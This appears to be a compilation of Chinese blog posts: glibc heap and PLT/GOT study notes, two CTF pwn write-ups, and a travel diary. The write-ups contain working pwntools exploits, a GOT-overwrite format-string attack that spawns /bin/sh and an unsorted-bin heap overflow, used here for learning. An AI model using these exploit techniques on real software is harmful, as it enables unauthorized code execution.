-Wl,–dynamic-linker=/动态连接器的路径/ld-linux-x86-64.so.2
https://blog.csdn.net/bandaoyu/article/details/121476940
gcc -Wl,-rpath=’/my/lib’,-dynamic-linker=’/my/lib/ld-linux.so.2’
gcc -Wl,-rpath=/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64//,–dynamic-linker=/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-linux-x86-64.so.2 1.c
各种bin fast bin、tcache bin按照LIFO(last in first out)单链表组织,采用头插法
unsorted bin、small bin按照FIFO(first in first out)双链表组织,采用头插法
large bin按照双链表组织,插入节点时会保证size从大到小排序
https://blog.51cto.com/u_15076233/3914352
有两种结构来管理,一种是fastbin的,另外一种是其他三种bin的
/* Fastbins */ 用来管理小的chunk mfastbinptr fastbinsY[NFASTBINS];
/* Normal bins packed as described above */ mchunkptr bins[NBINS * 2 - 2];
• bins:能够存放所有size范围的free chunk,共127个链表节点项,每个链表长度不限。
• bin[0]为unsorted bin 存放未整理的chunk
• bin[2] ~ bin[63]为small bin 管理中等大小的chunk
• bin[64] ~ bin[127]为large bin 存放较大的chunk
fastbin 将小chunk单独管理(0x20 - 0x80,以0x10为单位,共7个),fd指向它前面那一个 (64位)
使用顺序: 先进后出 ,或者说,后进,先出, 头插!
靠近fastbinY[]的是头部
释放的时候并不会把p标志置为0
https://kiprey.github.io/2020/04/heap-3-bins/
堆命令: vis fastbin
how2heap 2.23 fastbin的例子https://github.com/shellphish/how2heap/blob/master/glibc_2.23/fastbin_dup.c
分配完三个0x8大小的堆块后的堆布局,这里有几个细节需要注意.
1.对齐问题,因为要进行16字节对齐,所以哪怕是分配了8字节,也会给一个16字节的空间,头部是16字节,所以一共32字节
Malloc(16)也是这样的,malloc(24呢) 也是一样的, 是因为会复用下一个chunk的prev_size吗? 那不复用不就不够了
这个size是包含了头部的
那岂不是如果malloc24的话,正好的空间,malloc16的话,会多了8字节可用的空间
后进先出,后面进来的会被挂到头部,可以修改一下代码,释放abc看一下,c是0,b是1,a是2
unsorted bin (除了fastbin外) 被释放的chunk以及把大的chunk分割出来的剩下的chunk,都会先放进这里,目的主要是能让malloc有二次利用最近释放的chunk的机会
unsorted bin只有一个,位于bin[1]中 ????
无序双向链表,FIFO, 链头插入chunk,链尾取出?? 不对吧 对的,看图,左边是插入,右边是取出
unsorted bin 本身是什么呢? 在哪里?
释放的时候会合并? 什么情况下, 相邻的会合并,(还有其他条件吗?)
unsortedbinall: 0x5555557591c0 —▸ 0x555555759000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x5555557591c0
unsortedbinall: 0x555555759380 —▸ 0x5555557591c0 —▸ 0x555555759000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555759380
左右箭头应该是 fd和bk的意思( 左箭头是值的意思吧)
small bin bin[2] ~ bin[63]为small bin, 管理大小为[0x20, 0x400]的 free chunk,(64位)
small bins 中每个 chunk 的大小与其所在的 bin 的 index 的关系为:chunk_size = 2 * SIZE_SZ *index,具体如下
16-504B 0x10-0x200
32-1008B 0x20-0x400
索引为2中chunk大小为0x20 - 0x30 索引为3里的chunk大小为0x30 - 0x40 ...... 索引为63里的chunk大小为0x3F0 - 0x400
large bin bin[64] ~ bin[126]为large bin 存放较大的chunk
large bin 大体上分为6大组,其中每个大组里都有若干小组
large bins 中一共包括 63 个 bin,每个 bin 中的 chunk 的大小不一致,而是处于一定区间范围内。此外,这 63 个 bin 被分成了 6 组,每组 bin 中的 chunk 大小之间的公差一致,具体如下:
tcachebin2.26开始
malloc和free流程raw.githubusercontent.com/cloudburst/libheap/master/heap.png
mallocmalloc的具体实现可以查看malloc.c中_int_malloc函数,大致流程如下:
1.将大小按规则对齐,得到实际要分配的大小size
2.检查size是否符合tcache bin的大小。如果是,检查对应size的entry是否有free chunk。如果有,则分配返回
3.检查size是否符合fast bin的大小。如果是,检查对应size的entry是否有free chunk。如果有,则分配返回
4.循环遍历unsorted bin,寻找可用的free chunk
• 如果遍历到的free chunk size正好和所需size相等,则分配返回
• 如果遍历到的free chunk size和所需size不等,则将其从双链表中解链(unlink),插入到对应大小的bins中
5.根据size,以best-fit的方式,找到相应的small bin或者large bin
• 对于small bin,如果size正好合适,那么unlink之后,直接将该chunk返回给用户;否则进行切割,剩下的部分重新插入到unsorted bin中。
• 对于large bin,由于一个bin通常对应几个size,那么根据fd_nextsize的顺序,以size从大到小的顺序遍历chunk,同样采取best-fit的方式寻找合适的chunk,后续行为与small bin类似。
6.使用top chunk,将top chunk进行切割:
• 如果top chunk size足够,则将切割下来的部分返回,剩下的部分继续作为top chunk
• 如果top chunk size不够,则需要通过sysmalloc申请更多的堆空间
freefree的具体实现可以查看malloc.c中_int_free函数,大致流程如下:
如果free chunk的size属于tcache范围内,且对应大小的tcache bin没有满,则插入到相应的
tcache bin中去
如果free chunk的size属于fast bin范围内,且对应大小的tcache bin满了,则插入到fastbin
中去
如果上述条件均不满足,则通过该chunk的prev_inuse标志位检查是否可以前后向合并:
• 如果可以合并,则将需要被合并的chunk先unlink下来,合并成一个更大的chunk后再插入到
unsorted bin中(或合并到top chunk里面)
• 如果不可以合并,则将该chunk直接插入到unsorted bin中
free chunk是mmap的chunk,那么调用munmap直接返回给系统
参考资料ctf-wiki
datacon训练营
pwn入门-12-pltgot延迟绑定及符号解析
2023.7.8更新:很早之前已经写了这篇博客,但是只学了一点皮毛..只在表面,后面学到了ret2dlresolve漏洞发现需要理解这部分东西,又回炉重造,添加了需要学习的更细致的知识
符号解析基础知识参考ctfwiki(wiki中是倒推的,感觉理解起来不如正推)
在 ELF 文件中,对于每一个需要重定位的 ELF 节都有对应的重定位表,比如说 .text 节如果需要重定位,那么其对应的重定位表为 .rel.text。 所以.rel.plt就是plt节需要重定位所产生的节了.
.rel.plt中就会包含一个指向这个符号的重定位表项. r_offset给出了要修改的位置,r_info给出了要修改的符号的符号表索引,所以r_info索引到了 .dynsym
.dynsym中,st_name保存着动态符号在dynstr中的偏移
.dynstr又是怎么来的呢? 答:当一个程序导入某个函数时,.dynstr就会包含对应函数名称的字符串(最后是根据这个字符串名字来进行解析的!!!)
以 ret2dl中的例子来说,可以用readelf查看这些节(但在ida中不会显示的这么全,会放到LOAD段里)
1234567891011121314151617181920212223242526272829303132333435363738394041root@vultr:~/ret2dl# readelf -S main_partial_relro_32There are 31 section headers, starting at offset 0x3848:Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 080481b4 0001b4 000013 00 A 0 0 1 [ 2] .note.gnu.build-i NOTE 080481c8 0001c8 000024 00 A 0 0 4 [ 3] .note.gnu.propert NOTE 080481ec 0001ec 00001c 00 A 0 0 4 [ 4] .note.ABI-tag NOTE 08048208 000208 000020 00 A 0 0 4 [ 5] .gnu.hash GNU_HASH 08048228 000228 000020 04 A 6 0 4 [ 6] .dynsym DYNSYM 08048248 000248 0000a0 10 A 7 1 4 [ 7] .dynstr STRTAB 080482e8 0002e8 00006b 00 A 0 0 1 [ 8] .gnu.version VERSYM 08048354 000354 000014 02 A 6 0 2 [ 9] .gnu.version_r VERNEED 08048368 000368 000020 00 A 7 1 4 [10] .rel.dyn REL 08048388 000388 000018 08 A 6 0 4 [11] .rel.plt REL 080483a0 0003a0 000028 08 AI 6 24 4 [12] .init PROGBITS 08049000 001000 000024 00 AX 0 0 4 [13] .plt PROGBITS 08049030 001030 000060 04 AX 0 0 16 [14] .plt.sec PROGBITS 08049090 001090 000050 10 AX 0 0 16 [15] .text PROGBITS 080490e0 0010e0 000289 00 AX 0 0 16 [16] .fini PROGBITS 0804936c 00136c 000018 00 AX 0 0 4 [17] .rodata PROGBITS 0804a000 002000 000008 00 A 0 0 4 [18] .eh_frame_hdr PROGBITS 0804a008 002008 000054 00 A 0 0 4 [19] .eh_frame PROGBITS 0804a05c 00205c 000150 00 A 0 0 4 [20] .init_array INIT_ARRAY 0804bf04 002f04 000004 04 WA 0 0 4 [21] .fini_array FINI_ARRAY 0804bf08 002f08 000004 04 WA 0 0 4 [22] .dynamic DYNAMIC 0804bf0c 002f0c 0000e8 08 WA 7 0 4 [23] .got PROGBITS 0804bff4 002ff4 00000c 04 WA 0 0 4 [24] .got.plt PROGBITS 0804c000 003000 000020 04 WA 0 0 4 [25] .data PROGBITS 0804c020 003020 000008 00 WA 0 0 4 [26] .bss NOBITS 0804c028 003028 000004 00 WA 0 0 1 [27] .comment PROGBITS 00000000 003028 00002b 01 MS 0 0 1 [28] .symtab SYMTAB 00000000 003054 000480 10 29 45 4 [29] .strtab STRTAB 00000000 0034d4 000254 00 0 0 1 [30] .shstrtab STRTAB 00000000 003728 00011d 00 0 0 1Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings), I (info), L (link order), O (extra OS processing required), G (group), T (TLS), C (compressed), x (unknown), o (OS specific), E (exclude), p (processor specific)
.rel.plt .rel.dyn是动态链接的二进制文件中需要重定位的变量的信息,.rel.plt是需要重定位的函数的信息
它的结构如下(以32位为例),两种类型区别见wiki
12345678910typedef struct { Elf32_Addr r_offset; Elf32_Word r_info;} Elf32_Rel;typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; Elf32_Sword r_addend;} Elf32_Rela;
最重要的就是前两个字段,r_offset,给出了需要重定位的位置,对于可执行文件而言,取值是需要重定位的虚拟地址,一般而言也就是GOT表的地址
GOT表中开始存放的值是这个
这玩意也就是plt表,要进行真正解析的地方
r_info给出需要重定位的符号的符号表索引,以及相应的重定位类型. 换句话说,第一个参数是告诉你要把哪里的值进行修改,这个参数是告诉你,要修改哪个符号.
高三个字节对应的值表示这个动态符号在.dynsym符号表中的位置
最低字节表示的是重定位类型
.dynsym 结构如下
123456789typedef struct{ Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility under glibc>=2.2 */ Elf32_Section st_shndx; /* Section index */} Elf32_Sym;
这个在ida中也是没有直接给出的,可以用readelf查看然后寻找.
其中比较重要的字段
st_name 保存着动态符号在.dynstr表(动态字符串表)中的偏移
st_value 如果这个符号被导出,这个符号保存着对应的虚拟地址
1Elf32_Sym <offset aRead - offset unk_80482E8, 0, 0, 12h, 0, 0> ; "read"
以read为例,aRead是这个符号的虚拟地址, 减去符号表开始的虚拟地址,就得到了偏移, read的这个值为0x27
0x804830F - 0x80482E8 = 0x27,也就是read这个字符串开始的地方,(以及他们每个字符串结束后都有个0,位置结束符号)
dynstr表如下
.dynmaic
解析过程got plt .got.plt 延迟绑定got表 got.plt表 Globle offset table全局偏移量表,位于数据段,是一个每个条目是8字节地址的数组,用来存储外部函数在内存的确切地址,GOT表存储在数据段,(在IDA中是也就是.data段)可以在程序运行中被修改。
.got 存放全局变量引用
.got.plt 存放需要延迟绑定的函数
got表的初始状态指向一段plt,首次调用时会由plt表中指令进行解析,得到真正的函数地址(即内存中的地址)并填入相应的got表项
plt表
https://blog.csdn.net/qq_52126646/article/details/119494939
延迟绑定 以上一篇博客的题目为例
call一个函数的时候,先到plt 0x400650 <system@plt>
12pwndbg> p system$2 = {<text variable, no debug info>} 0x400650 <system@plt>
然后plt里面第一条 jmp cs:off_600D38 这里会跳到 system@got的地址,(此时还没有初始化)
display /3i $rip 设置单步执行后自动显示的内容,这里显示后续三条指令
12345pwndbg> display /3i $rip2: x/3i $rip=> 0x400650 <system@plt>: jmp QWORD PTR [rip+0x2006e2] # 0x600d38 0x400656 <system@plt+6>: push 0x2 0x40065b <system@plt+11>: jmp 0x40062
之后,0x600d38里面的地址是system@plt刚才jmp的下一条,push 0x2,然后再jmp 0x40062,也就是PLT[0],跳转到动态链接器进行地址解析.找到真正的地址,填入got地址,也就是0x600d38,
1234567891011121314pwndbg> x/20wx 0x600d380x600d38: 0x00400656 0x00000000 0xf7a46e40 0x00007fff0x600d48: 0xf7a46f10 0x00007fff 0xf7af2020 0x00007fff.plt:0000000000400650 ; int system(const char *command).plt:0000000000400650 _system proc near ; CODE XREF: main+DE↓p.plt:0000000000400650 jmp cs:off_600D38.plt:0000000000400650 _system endp.plt:0000000000400650.plt:0000000000400656 ; ---------------------------------------------------------------------------.plt:0000000000400656 push 2.plt:000000000040065B jmp sub_400620
下次在执行的时候,直接就plt->got的第一个jmp -> 实际地址,也就是说0x600d38里存储的是system的真实内存地址了
12345678910pwndbg> x/20wx 0x600d380x600d38: 0xf7a31420 0x00007fff 0xf7a46e40 0x00007fff0x600d48: 0xf7a46f10 0x00007fff 0xf7af2020 0x00007fff pwndbg> x/20wx 0x00007ffff7a314200x7ffff7a31420 <__libc_system>: 0x74ff8548 0xfa66e90b 0x0f66ffff 0x0000441f0x7ffff7a31430 <__libc_system+16>: 0x593d8d48 0x48001649 0xe808ec83 0xfffffa500x7ffff7a31440 <__libc_system+32>: 0x940fc085 0xc48348c0 0xc0b60f08 0x001f0fc30x7ffff7a31450 <__GI___realpath>: 0xe5894855 0x56415741 0x54415541 0xec814853
pwn入门-11-2月月赛题及反思
2.25号月赛,只有一道pwn题,格式化字符串,其实本身抱着一种相对良好的心态,觉得自己学了一段时间了,前段时间刚看的格式化字符串,应该没什么问题………但还是寄了,其他方向队友都做出来了,就只剩自己这一道pwn题了…感觉比较受打击……
在做题的时候,漏洞点很明显,关于如何利用,自己想了很多很多,越想越复杂,越搞心态越崩.结束后看了下exp,其实比自己想的简单多的多.
总结一下,问题有好几个,一个是调试程序不熟练,浪费很多时间,最重要的一个问题还是基础不牢,有些点想不到或者模棱两可,逻辑链连不上,就很容易想复杂,不确定可不可以,就导致了自己很犹豫要不要尝试一下这种攻击手法
这道题其实就是替换函数地址的事,主要是要搞清楚plt,got的关系以及延迟绑定就可以了.
题目链接:https://tangzichengcc.github.io/2023/02/26/pwn入门-11-2月月赛题及反思/ezfmt
exp如下
123456789101112131415161718192021222324252627from pwn import *context.log_level='debug'context.arch='amd64'context.terminal=['tmux','splitw','-h']p=process('./ezfmt')p.sendlineafter('Choice:','2')#gdb.attach(p,'b *0x04008E1')#payload='aaaaaaaa'+'%6$p'#system plt ->main#atoi -> system gotsystem_got=0x000000000600D38again=0x00000000004007B7 #选择 atoi_got=0x600D70system_plt=0x400656payload=fmtstr_payload(6,{system_got:again,atoi_got:system_plt})p.sendline(payload)p.sendline('/bin/sh\x00')p.interactive()
1.替换的是.got.plt里的地址 , 替换成的again就是.text段sub_4007B7的地址,这样的话,就可以劫持控制流,再次回来.
意思就是call system的时候先去plt,然后进got.plt里的地址,就直接执行4007b7的指令了,没问题
2.同时把获取选择参数的函数atoi换成system(这里为什么又是plt了呢? 因为system的got表里地址还没有初始化,而且被替换了,那就只能是plt,如果初始化了呢? 调用应该也没问题,都是一样的代码,)
atoi的got地址,换成system的plt地址的话, call atoi –> atoi的plt–>atoi的got –> system的plt –> system的got(注意,这里不一样了,这里不是got的第一条指令,如果是的话,就还是跳到我们第一步覆盖的again那里了,覆盖的是下一条,就是push,然后jump到dl_runtime_resolve初始化那里) plt具体内容等下一篇博客写吧,正常来说,400650才是它的开头,但不能跳到这里,不然就到again了下一条就可以了
12345678.plt:0000000000400650 ; int system(const char *command).plt:0000000000400650 _system proc near ; CODE XREF: main+DE↓p.plt:0000000000400650 jmp cs:off_600D38.plt:0000000000400650 _system endp.plt:0000000000400650.plt:0000000000400656 ; ---------------------------------------------------------------------------.plt:0000000000400656 push 2.plt:000000000040065B jmp sub_400620
注意最后要再给它输入一个/bin/sh, \x00好像无所谓的
context.arch=’amd64’ 如果不加的话也会有问题,为啥呢……….?
如何进行 调试呢??? 可以看看xuanxuan那个博客
pwn入门-10-堆入门之堆溢出及unsorted_bin攻击
堆题其实是目前比较基础的题,栈题都比较少了貌似…自己的进度有点慢,虽然上学期接触到了堆,但也学的一知半解.
最近上了NeSE创始人、带队老师龚老师的课,老师第一节课给的测试题就是一道堆题,看了看他后面的课件,重点也在堆上,所以觉得可以先把栈什么的稍微放一放了,基础其实差不多了,提升的话,可以慢慢来,先赶紧继续学堆.
题目链接: 本篇博客地址url + oork_note即可
unsorted bin基础知识参考:https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack/
Unsorted Bin Attack 被利用的前提是控制 Unsorted Bin Chunk 的 bk 指针。
Unsorted Bin Attack 可以达到的效果是实现修改任意地址值为一个较大的数值。
基本来源
当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于 top chunk 的解释,请参考下面的介绍。
当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。
攻击原理 在 [glibc](https://code.woboq.org/userspace/glibc/)/[malloc](https://code.woboq.org/userspace/glibc/malloc/)/[malloc.c](https://code.woboq.org/userspace/glibc/malloc/malloc.c.html) 中的 `_int_malloc` 有这么一段代码,当将一个 unsorted bin 取出的时候,会将 `bck->fd` 的位置写入本 Unsorted Bin 的位置,就是一个很大的值,比如0xffffffffxxxx
换句话说, bck->fd 也就是 bk(也就是要修改的地址,所以溢出修改的chunk的bk应该是要修改的地址-0x10), victim->bk->fd = victim
av是当前chunk, (av)->bk = bck,就是当前chunk的bk, 晕了晕了,回头看看源码 victim, av什么的
12345/* remove from unsorted list */if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): corrupted unsorted chunks 3");unsorted_chunks (av)->bk = bck;bck->fd = unsorted_chunks (av);
测试题目 oork_note 一看就是一道堆题,给出了一个菜单.然后会让你输入7次,也就是一周的日记,要输入长度和内容,这里没有问题,注意一个细节,就是你输入的长度会有个操作 v2 += 144; 也就是增大了0x90,这个后面会用到
然后就是编辑和删除操作了,
拿flag其实很明显,就是要把0x6020D4的值修改为一个比167大的值就可以了
123456789101112131415161718192021222324252627282930313233343536373839404142__int64 __fastcall main(__int64 a1, char **a2, char **a3){ int v4; // [rsp+8h] [rbp-8h] int v5; // [rsp+Ch] [rbp-4h] sub_4008F6(); puts("Welcome to 997 wellfare! This program records your weekly workloads."); v4 = 0; v5 = 0; while ( v4 <= 6 ) { printf("Day %d in this weekend.\n", (unsigned int)(v4 + 1)); v5 += sub_400939(v4++); } puts("Do you need to edit your note? y/n"); getchar(); if ( getchar() == 121 ) sub_400B62(); if ( dword_6020D4 > 167 ) system("cat ./flag"); else puts("You are fired, Bye."); return 0LL;}__int64 __fastcall sub_400939(int a1){ int v2; // [rsp+1Ch] [rbp-14h] BYREF void *buf; // [rsp+20h] [rbp-10h] unsigned __int64 v4; // [rsp+28h] [rbp-8h] v4 = __readfsqword(0x28u); printf("\tInput the length of your work note:"); __isoc99_scanf("%d", &v2); v2 += 144; buf = malloc(v2); printf("\tInput context of your work record:"); read(0, buf, v2); *(&ptr + a1) = buf; return (unsigned int)((v2 & (rand() + 255)) % 23);}
下面看一下编辑和删除,删除的话,把指针也赋0了,所以没有double free的问题,
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667unsigned __int64 sub_400B62(){ int v1; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); v1 = 0; do { while ( 1 ) { while ( 1 ) { puts("Input your choice: \n\t1.edit note\n\t2.delete note\n\t0.exit"); __isoc99_scanf("%d", &v1); if ( v1 != 1 ) break; sub_400A14(); } if ( v1 != 2 ) break; sub_400AEE(); } } while ( v1 ); return __readfsqword(0x28u) ^ v2;}unsigned __int64 sub_400A14(){ int v0; // ebx unsigned int v2; // [rsp+4h] [rbp-1Ch] BYREF unsigned __int64 v3; // [rsp+8h] [rbp-18h] v3 = __readfsqword(0x28u); puts("input the note index to edit:"); __isoc99_scanf("%d", &v2); if ( v2 <= 6 ) { puts("Input the content:"); if ( *(&ptr + (int)v2) ) { read(0, *(&ptr + (int)v2), 0x4F0uLL); } else { v0 = v2; *(&ptr + v0) = malloc(0x3A0uLL); read(0, *(&ptr + (int)v2), 0x3A0uLL); } } return __readfsqword(0x28u) ^ v3;}unsigned __int64 sub_400AEE(){ int v1; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); puts("input the note index to delete:"); __isoc99_scanf("%d", &v1); free(*(&ptr + v1)); *(&ptr + v1) = 0LL; return __readfsqword(0x28u) ^ v2;}
但是这里有个很明显的问题,就是在编辑操作这里,如果编辑地址存在,可以读入0x4f0大小,如果我们申请的chunk大小比这个小,那么就存在了溢出,如果编辑的地址不存在,会重新进行malloc地址,大小为0x3A0
也就是说,如果我们一开始申请一个小的chunk,它后面接一个0x3A0大小的chunk,然后把0x3A0大小的chunk free掉,然后通过溢出,把这个free掉之后的chunk的值修改成我们想要的(把bk改成想修改的地址),然后再重新编辑一下,重新malloc的时候就会又申请到这个free 的chunk(也就是unsorted bin),然后就会触发漏洞
12345678910if ( *(&ptr + (int)v2) ) { read(0, *(&ptr + (int)v2), 0x4F0uLL); } else { v0 = v2; *(&ptr + v0) = malloc(0x3A0uLL); read(0, *(&ptr + (int)v2), 0x3A0uLL); }
构造攻击链 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。
什么是不属于fast bin的呢??
那我们就第一个值随意,第二个值构造小一点,比如0x20,第三个值构造成0x3A0,然后后面随意,然后删除第三个值,修改第二个值,覆盖掉它,然后再edit第三个值,进行重新申请,触发漏洞获取flag.
这里注意之前所说的,我们给的大小,它实际上会+0x90,所以要申请一个0x3A0 - 0x90 = 0x310 也就是784大小的值
1234567891011121314151617pwndbg> heapAllocated chunk | PREV_INUSEAddr: 0x603000Size: 0xb1Allocated chunk | PREV_INUSEAddr: 0x6030b0Size: 0xc1Allocated chunk | PREV_INUSEAddr: 0x603170Size: 0x3b1Allocated chunk | PREV_INUSEAddr: 0x603520Size: 0xb1
0xc1 193 144 + 32 = 176 多了17, 这个多的16字节是prev_size + size + NMP, 那为什么还多了一字节 因为对齐,在64位平台下,chunk大小一定是0x10的整数倍,那为什么都多了1呢?这里其实不是多了1,是显示的问题,size的话,是前5字节,也就是11000也就是16 + 4 = 20, 然后最后的1是指的P为1,也就是前一个chunk被使用的意思,0是未被使用
12pwndbg> x/bt 0x6030b80x6030b8: 11000001
0xb1 177 144 + 12 = 156 多了21,
0x3b1 945 144 + 784 = 928 多了17
payload的构造的话,就是填满第2个chunk,然后溢出,填满prev_size,然后修改size为正确值,然后加上bk(要修改的地址)就可以了
payload = (0x90 + 0x20) * b”a” + p64(0) + p64(0x3a0+0x1) + p64(0x6020D4)
p64是个啥,8byte, 8字节,64位, 指令一行又是多少..有点晕
p64就是64位机器的编码,把0编码成0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00,占64位,也就是8个字节
这个64位,32位指的是一次处理数据的宽度,和指令长度以及他们的地址没关系
指令的话,占多少字节都是可能的
123456789101112131415161718192021222324252627───────────────────────────────────[ STACK ]────────────────────────────────────00:0000│ r13 rsp 0x7fffffffe560 ◂— 0x101:0008│ 0x7fffffffe568 —▸ 0x7fffffffe7b7 ◂— '/home/ubuntu/2yue/ezfmt'02:0010│ 0x7fffffffe570 ◂— 0x003:0018│ 0x7fffffffe578 —▸ 0x7fffffffe7cf ◂— 0x524f4c4f435f534c ('LS_COLOR')─────────────────────────────────[ BACKTRACE ]────────────────────────────────── ► f 0 0x4006e0────────────────────────────────────────────────────────────────────────────────pwndbg> x/8bx 0x7fffffffe5600x7fffffffe560: 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00pwndbg> x/8bx 0x7fffffffe5680x7fffffffe568: 0xb7 0xe7 0xff 0xff 0xff 0x7f 0x00 0x00.text:0000000000400BE3.text:0000000000400BE3 push rbp.text:0000000000400BE4 mov rbp, rsp.text:0000000000400BE7 sub rsp, 10h.text:0000000000400BEB mov eax, 0.text:0000000000400BF0 call sub_4008F6.text:0000000000400BF5 mov edi, offset aWelcomeTo997We ; "Welcome to 997 wellfare! This program r"....text:0000000000400BFA call _puts.text:0000000000400BFF mov [rbp+var_8], 0.text:0000000000400C06 mov [rbp+var_4], 0.text:0000000000400C0D jmp short loc_400C37.text:0000000000400C0F ; ---------------------------------------------------------------------------.text:0000000000400C0F
所以 x/20wx 0xxxxxxxxxxxx 显示的一行其实是16字节, 128位, 所以左边的地址加了16,
12345pwndbg> x/20wx 0x6030b00x6030b0: 0x00000000 0x00000000 0x000000b1 0x000000000x6030c0: 0x000a3231 0x00000000 0x00000000 0x000000000x6030d0: 0x00000000 0x00000000 0x00000000 0x000000000x6030e0: 0x00000000 0x00000000 0x00000000 0x00000000
exp12345678910111213141516171819202122232425262728293031323334353637from pwn import *context.log_level= "debug"def add(length,context): io.sendlineafter("note:",length) io.sendlineafter("record:",context)def delete(num): io.sendlineafter("exit","2") io.sendlineafter("delete:",num)def edit(num,context): io.sendlineafter("exit","1") io.sendlineafter("edit:",num) io.sendlineafter("content:",context)io = process("./oork_note")context.terminal = ['tmux', 'splitw', '-h']gdb.attach(io,"b *0x7ffff7af2031")add("32",b"12")add("32",b"aaaa")add("784",b"aaaaa")add("32",b"12")add("32",b"12")add("32",b"12")add("32",b"12")io.sendlineafter("note? y/n","y")delete("2")#payload = (0x90 + 0x20) * b"a" + p64(0) + p64(0x3a0+0x1) + p64(0x6020D4)#payload = (0x90 + 0x20) * b"a" + p64(0) + p64(0x3a0+0x1 + 0x10) +p64(0)+ p64(0x6020D4 - 0x10)addr = 0x06020D4 - 0x10payload = b"a"*176 + p64(0) + p64(0x3a1 + 0x10) + p64(0) + p64(addr)edit("1",payload)edit("2",b"aaaa")pause()print(io.recv(1024))#io.sendline("0")#print(io.recv(1024))
你得理清楚哪里需要用b哪里不需要
和libc版本有关吗? 感觉应该没问题了的,但是打不了
123456789101112130x6033d0: 0x00000000 0x00000000 0x000003b1 0x000\n' │00000[*] Paused│0x6033e0: 0x61616161 0x0000000a 0x00000000 0x000 (press an│00000y to conti│0x6033f0: 0x0000000a 0x00000000 0x00000000 0x000nue) │00000 0x400bb8 call 0x400a14 <0x400a14> input the note index to edit sh.sendline("1") │[DEBUG] Sent 0x2 bytes: │ ► 0x400bbd jmp 0x400bca <0x400bca>
看了一下申请的chunk大小不正常,怀疑是发送过去的数据有问题,恩,sendline有问题
mov rax, qword ptr fs:[0x28] 这个是canary吧
https://blog.csdn.net/counsellor/article/details/81005101
addr = 0x06020D4 - 0x10 为啥要-0x10呢?? 因为是要得到chunk的头吧,不是数据头
怎么负数了… addr = 0x06020D4 - 0x12 多减点值,让它覆盖的时候能覆盖上就可以了
gdb + pwntools调试
2023年初东南沿海旅游游记
此版本是结束后的总结版本,不是一开始的规划版本,所以可能看起来会比较完美,但其实中间踩过了挺多坑的,会在最后总结.总的来说,这一次的东南游历,看到了不同的风土人情,南方确实和北方有很大的不同,了解了一些历史,在路上遇到很多不一样的人,看到了更大的世界,更重要的是!!! 吃到了很多好吃的😋!!!!!!!!!!
tips:相同背景颜色为景点挨着
纵览图
1.31 杭州路线: 淄博 — 济南44 济南 — 杭州 450.5
行程: 12点半到,下午玩一下午,2.1玩一天,2.2玩半天,中午12点出发去福州
住宿: 杭州东站国际青旅,在杭州东站边上 两晚73 | 评价:地理位置非常优越,床铺还是挺舒服的,不过环境一般,人很多,有一些应该是常住的,没有那种特别年轻的氛围.不过总体来说还是很不错的! 可以给85分
美食: 东坡肉、西湖醋鱼、叫花鸡、小笼包 (很遗憾,都没有吃哈哈哈哈哈哈哈哈哈哈哈哈哈哈)
景点: 西湖(断桥残雪)、灵隐飞来峰(灵隐寺) 45元(求18珠手串)、雷峰塔40元(登高看西湖)、西溪国家湿地公园、清河坊街、,京杭大运河、浙江博物馆(武林馆区)(提前预约!)
总之基本上都是围绕西湖….景点好像最近都免费了
第一天: 下车在附近吃个饭,放下行李直奔博物馆、运河广场(旁边有一个很大的购物中心),
第二天: 西湖(灵隐寺、雷峰塔在里面)、 西湖太大了,我觉得一天其实是玩不完的,至少需要安排两天的.
第三天:睡觉睡了一上午,因为第二天走得太累了
机动: 武林门码头 水上巴士3元 京杭大运河晚7点和8点20发船,夜游 120/人. 在拱墅区京杭大运河广场(走的动的话可以沿着河走…)
浙江省博物馆 浙江确实是富饶之地,馆藏丰富,还是值得一看的…没啥文化…说不出来别的…比较震撼的是看到了《新青年》,在历史书了解到这些的时候可能还没有那么震撼,当看到了真的书之后,仿佛回到了那一段历史.
京杭大运河沿岸
西湖
灵隐寺
钱塘江
总结
西溪国家湿地公园冬天去不是很好玩,因为都枯了……..不如夏天去.
2.2 福州路线: 杭州 — 福州 268
行程: 下午5点到到,晚上玩一玩,2.3玩一天,2.4早上7.30去龙岩,
住宿: xxx青年旅舍 靠近福州站 88两晚
美食: 鱼丸、太极芋泥、咸时、肉燕、
景点: 福建博物馆(三星堆!无需预约、60元)、三坊七巷、达明小吃街
第一天: 随便逛逛
第二天: 三坊七巷、福建博物馆
来福州主要是感受福建的风土人情
三坊七巷
林则徐纪念馆
福建博物馆
南澳海滩
达明小吃街2.4 龙岩路线: 福州 — 龙岩 142
行程: 10.56到龙岩,和董哥吃饭,下午晚上玩一玩、5号早上9点去厦门
住宿: 董哥家里
景点: 看永定土楼,客家文化
第一天: 吃饭、土楼
永定土楼
古田会议会址
2.5 厦门路线: 龙岩 — 厦门 23.5
行程: 10.50到厦门,5号玩半天,6号玩一天,7号早上7.55出发到深圳
住宿: 青年旅舍 厦门站边上 118两晚
